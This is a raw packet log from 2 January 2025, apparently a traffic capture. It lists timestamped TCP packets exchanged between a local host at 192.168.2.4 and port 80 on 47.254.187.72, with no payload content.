Jan 2, 2025 20:34:50.731753111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.731784105 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.731816053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.731817961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.731827021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.731837034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.731859922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.731884003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.733165026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.733187914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.733218908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.733238935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.733316898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.733355045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.733366966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.733376026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.733401060 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.733417034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.734024048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.734071970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.734074116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.734083891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.734092951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.734112024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.734138012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.735714912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.735724926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.735737085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.735755920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.735775948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.735785007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.735788107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.735797882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.735816002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.735838890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.736347914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.736371040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.736385107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.736392975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.736394882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.736416101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.736435890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.737237930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.737257004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.737266064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.737284899 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.737310886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.737494946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.737505913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.737515926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.737539053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.737560034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.790070057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.790085077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.790096998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.790108919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.790118933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.790131092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.790143013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.790175915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.790227890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.791326046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.791383028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.791441917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.791452885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.791464090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.791474104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.791486025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.791495085 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.791496992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.791510105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.791527033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.791548967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.793714046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.793724060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.793735027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.793751955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.793762922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.793773890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.793775082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.793785095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.793795109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.793821096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.793839931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.796379089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.796402931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.796416044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.796425104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.796427011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.796439886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.796443939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.796452045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.796464920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.796468973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.796499014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.796511889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.797132015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.797146082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.797166109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.797175884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.797177076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.797188997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.797199011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.797199011 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.797209978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.797220945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.797235966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.797256947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.799408913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.799457073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.799496889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.799506903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.799516916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.799529076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.799537897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.799539089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.799551010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.799561977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.799571991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.799572945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.799616098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.803476095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.803487062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.803498030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.803509951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.803528070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.803559065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.803596973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.803611040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.803622961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.803632021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.803637028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.803668976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.804805040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.804815054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.804826975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.804837942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.804860115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.804867029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.804883003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.804888964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.804899931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.804902077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.804910898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.804922104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.804943085 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.804965973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.807346106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.807357073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.807369947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.807379961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.807389975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.807410002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.807437897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.807446957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.807456017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.807462931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.807467937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.807476997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.807492018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.807524920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.812247038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.812263966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.812328100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.812350988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.812362909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.812381029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.812395096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.812402964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.812413931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.812424898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.812426090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.812443018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.812472105 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.813467026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.813476086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.813522100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.813544035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.813555002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.813565969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.813576937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.813585043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.813587904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.813599110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.813606024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.813638926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.816281080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.816292048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.816302061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.816312075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.816323042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.816325903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.816334009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.816344976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.816350937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.816354990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.816376925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.816395044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.823064089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.823076010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.823086023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.823100090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.823117018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.823138952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.823153019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.823157072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.823168993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.823179960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.823184013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.823230028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.832653999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.832665920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.832684040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.832695007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.832705975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.832716942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.832727909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.832739115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.832746029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.832793951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.835954905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.835977077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.835988045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.835998058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.836009026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.836013079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.836019993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.836030960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.836036921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.836040020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.836057901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.836083889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.842161894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.842174053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.842185020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.842209101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.842223883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.842232943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.842236042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.842247009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.842257023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.842272997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.842308998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.846035004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.846045971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.846061945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.846074104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.846081972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.846090078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.846107006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.846117020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.846126080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.846136093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.846141100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.846141100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.846148968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.846163034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.846191883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.898705006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.898721933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.898740053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.898756981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.898767948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.898782969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.898783922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.898797035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.898806095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.898829937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.898857117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.900873899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.900917053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.900938988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.900959015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.900970936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.900979996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.900985956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.900991917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.900998116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.901001930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.901022911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.901053905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.902595997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.902614117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.902623892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.902632952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.902646065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.902652025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.902662992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.902672052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.902673960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.902684927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.902704000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.902725935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.902990103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.903000116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.903012037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.903032064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.903053045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.903064966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.903069973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.903081894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.903091908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.903093100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.903104067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.903120041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.903151035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.905539989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.905550957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.905561924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.905587912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.905615091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.905620098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.905626059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.905642986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.905651093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.905653000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.905664921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.905669928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.905692101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.905715942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.906627893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906694889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.906697989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906708002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906725883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906737089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906738997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.906747103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906758070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906773090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906775951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.906784058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906812906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.906832933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906835079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.906842947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906855106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906866074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906874895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.906877995 CET	80	49730	47.254.187.72	192.168.2.4
